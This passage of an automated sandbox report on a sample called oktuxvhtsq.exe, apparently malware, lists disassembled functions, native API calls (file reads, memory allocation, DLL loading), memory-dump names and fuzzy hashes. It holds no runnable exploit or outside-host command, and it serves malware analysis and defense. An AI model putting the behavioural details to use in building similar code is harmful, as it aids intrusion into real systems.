Function 00419A4D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00419ADD

Strings

pow, xrefs: 00419AB5, 00419AD2

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: d097e38db029b6f7b8f3f83937a4e4599330315c6ff27636a9713bea47fd4f16
Instruction ID: 21fe5a5527b016725bab4f6e656bc787fcae53af7891aa4435ab6e8fcb17bfd6
Opcode Fuzzy Hash: d097e38db029b6f7b8f3f83937a4e4599330315c6ff27636a9713bea47fd4f16
Instruction Fuzzy Hash: 37518B71B0910196CB11BF14FA113EB67B0EF80B52F654C6BE095413A8EB3D9DC59A4E

Uniqueness

Uniqueness Score: -1.00%

Function 00405770 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004058B7
char_traits.LIBCPMTD ref: 004058C7

Strings

4j@, xrefs: 004058B0, 004058B3

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWorkchar_traits
String ID: 4j@
API String ID: 1444011685-904746723
Opcode ID: 82387f88945d7fc4a208b6de69c27e0afa750967242fa1480a9dd887b6e8295d
Instruction ID: 46023dceab305a3eb23035ba61cdc51870224976be2fd264dcc29fd4d9b3516e
Opcode Fuzzy Hash: 82387f88945d7fc4a208b6de69c27e0afa750967242fa1480a9dd887b6e8295d
Instruction Fuzzy Hash: A0410F71D145099BCB04FF69C952AAFB7B5EF84315F20413EE506B72D1DA386D00CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0041563B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 00415722

Strings

D, xrefs: 004156BB
D, xrefs: 004156B4

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: CallFilterFunc@8
String ID: D$D
API String ID: 4062629308-2831827411
Opcode ID: f424810cff8c00d17c5f5efda1cad0ea5d0d04c9426438ff04658dc35123a906
Instruction ID: 8bf0dc9f21e63ffe1c3a491cffe23ff22630031f7c2e2f17320c2df5dce1e844
Opcode Fuzzy Hash: f424810cff8c00d17c5f5efda1cad0ea5d0d04c9426438ff04658dc35123a906
Instruction Fuzzy Hash: 0931E5B1A00601CBDB149F689C416EE37609BC5328F24421BF429973D1D77CD8828BD9

Uniqueness

Uniqueness Score: -1.00%

Function 004154C7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 0041559B

Strings

D, xrefs: 00415541
D, xrefs: 0041553A

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: CallFilterFunc@8
String ID: D$D
API String ID: 4062629308-2831827411
Opcode ID: e83a423f03ac780c5fcfa94935c75a4d87f91eff9022599b95c25b231ccda2e8
Instruction ID: af507a5548210d163da6b3945c1a53315e90f2d32a076a82bd498c751c2e98c8
Opcode Fuzzy Hash: e83a423f03ac780c5fcfa94935c75a4d87f91eff9022599b95c25b231ccda2e8
Instruction Fuzzy Hash: 2E31D4B1E00A109BDB149FA998012EE77A29FC5334F24431FE425973D5D77C99828A9D

Uniqueness

Uniqueness Score: -1.00%

Function 004017F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 00401825

Part of subcall function 00408DD0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00408DDA

DeleteFileW.KERNEL32(00000000,?,?,0040161C), ref: 00401845

Strings

Failed to delete file: , xrefs: 0040187F

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Affinity::operator!=Base::ContextDeleteFileHardwareIdentityQueueWork
String ID: Failed to delete file:
API String ID: 3573704698-802139604
Opcode ID: feb77c48e4971e188bfb18358a924c05519349d9b34b932e87aeae2c37e92d24
Instruction ID: f0f5bbdc8a2f0b1badd532eae22d6cb083b84698526b75bf131117a7413fce91
Opcode Fuzzy Hash: feb77c48e4971e188bfb18358a924c05519349d9b34b932e87aeae2c37e92d24
Instruction Fuzzy Hash: CC210071910108ABCB04FB91D851DEEB779AE94304B50467EB502B71E1EF386A05CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004058A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004058B7
char_traits.LIBCPMTD ref: 004058C7

Strings

4j@, xrefs: 004058B0, 004058B3

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWorkchar_traits
String ID: 4j@
API String ID: 1444011685-904746723
Opcode ID: f9284e6f84bfce3802ce3be7d534924ee2909510edccafd6454c1df85963241b
Instruction ID: 883a3b899775eae1976112d965841a78aa284a8c2867d14a93e0f1d9c6bfb98f
Opcode Fuzzy Hash: f9284e6f84bfce3802ce3be7d534924ee2909510edccafd6454c1df85963241b
Instruction Fuzzy Hash: F801ED71E041099BCB14FF95D952BAFB379EF84315F10813EA515B72D1CA396E00CB69

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: oktuxvhtsq.exePID: 1516, Parent PID: 1784COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	2.4%
Signature Coverage:	6%
Total number of Nodes:	552
Total number of Limit Nodes:	68

Executed Functions

Function 0041A3CA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(bMA,5EB65239,FFFFFFFF,?,?,?,bMA,?,!JA,FFFFFFFF,5EB65239,00414D62,?,00000000), ref: 0041A415

Strings

bMA, xrefs: 0041A3F2, 0041A400
bMA, xrefs: 0041A40D, 0041A414
!JA, xrefs: 0041A3EC, 0041A3F8

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: FileRead
String ID: !JA$bMA$bMA
API String ID: 2738559852-4222312340
Opcode ID: 33dcf55a6d7cffd85285e2efbc1188158a9fa2e30f4957344ab0f5a6bd6b24e2
Instruction ID: 7af921839762fc8d234943a10333014a8d3361fab9fd09aed87850b0a117b89a
Opcode Fuzzy Hash: 33dcf55a6d7cffd85285e2efbc1188158a9fa2e30f4957344ab0f5a6bd6b24e2
Instruction Fuzzy Hash: 82014CB2200214AFCB14DF99DC85EEB77ADEF8C718F058659BA1D97241C630E911CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A3D0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(bMA,5EB65239,FFFFFFFF,?,?,?,bMA,?,!JA,FFFFFFFF,5EB65239,00414D62,?,00000000), ref: 0041A415

Strings

bMA, xrefs: 0041A3F2, 0041A400
bMA, xrefs: 0041A40D, 0041A414
!JA, xrefs: 0041A3EC, 0041A3F8

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: FileRead
String ID: !JA$bMA$bMA
API String ID: 2738559852-4222312340
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: 54437c4e75339082d0912fbe7e6c9053912bd6928cda1a9760da43cab1c95c7d
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: C3F0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158249BA1D97241D630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD52

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
Instruction ID: 93036d1b31c8ba6342ae8de3f2893f5930aff37f33252288d1eb8296453bc5b5
Opcode Fuzzy Hash: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
Instruction Fuzzy Hash: FF015EB5E0020DABDB10EBA1DC42FDEB3789F14308F0041AAE908A7281F634EB54CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041A320 Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,00409CE3,?,00414BA7,00409CE3,FFFFFFFF,?,?,FFFFFFFF,00409CE3,00414BA7,?,00409CE3,00000060,00000000,00000000), ref: 0041A36D

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 30690d9e011530b668ed3b4ae7cc5c3fda29d367b226dbf4f68f65ca016a7565
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: FDF0BDB2201208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A500 Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B0F4,?,00000000,?,00003000,00000040,00000000,00000000,00409CE3), ref: 0041A539

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: c35769ceed384df61eeb5fc049e905e887b244236103aac277853e7772ac0dd9
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: 75F015B2200208ABCB14DF89DC81EEB77ADAF88754F118149BE0897241C630F811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A450 Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00414D40,?,?,00414D40,00409CE3,FFFFFFFF), ref: 0041A475

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: e48275ca6f7768b9f0fd4fab79f6d7fda959a909e55c262f35bdb2090c9231ed
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: E5D01776200214ABD710EB99DC85EE77BADEF48764F15449ABA189B242C530FA1086E0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A44B Relevance: 1.5, APIs: 1, Instructions: 19nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00414D40,?,?,00414D40,00409CE3,FFFFFFFF), ref: 0041A475

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 568dc3e59f7221dbbbdb43f9baaca06f5701ba7f862418ba9aa500066b6c7a49
Instruction ID: bcccc9545e37b7909c3383d76274991b344d2402d374e448eeb040248771b24d
Opcode Fuzzy Hash: 568dc3e59f7221dbbbdb43f9baaca06f5701ba7f862418ba9aa500066b6c7a49
Instruction Fuzzy Hash: 60D02BAE0092C04FCB10EAB474C10C27F40DD5032C3251D8FE4A40B703C138D616A3A1

Uniqueness

Uniqueness Score: -1.00%

Function 00730078 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00730086

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction ID: 3a645d05db048e5a2937cf36c3d58d647fc753ae06e93f94360992995f7f05c0
Opcode Fuzzy Hash: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction Fuzzy Hash: 2AB012B1504640C7F304F704D905B16B212FBD0F00F408938A14F86591D73DAD2CC78B

Uniqueness

Uniqueness Score: -1.00%

Function 00730048 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00730053

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction ID: 41e4343c146f66e2bb318e135f4e172b2897deff735033a37a94e91f6413aa4b
Opcode Fuzzy Hash: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction Fuzzy Hash: DBB012B2100540C7E3099714D946B4B7210FB90F00F40C93BA11B81861DB3C993CD46A

Uniqueness

Uniqueness Score: -1.00%

Function 007300C4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 007300CF

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

Function 0072F900 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0072F90E

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 0072F9F0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0072F9FB

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 0072FAE8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0072FAF3

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 0072FAD0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0072FADB

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction ID: b885d126f35a04098635745a666b93c7a8e67e4acbf17db3f6051f78ecae7b76
Opcode Fuzzy Hash: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction Fuzzy Hash: 9AB01273104944C7E349A714DD06B8B7210FBC0F01F00893AA00786851DB389A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 0072FB68 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0072FB73

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
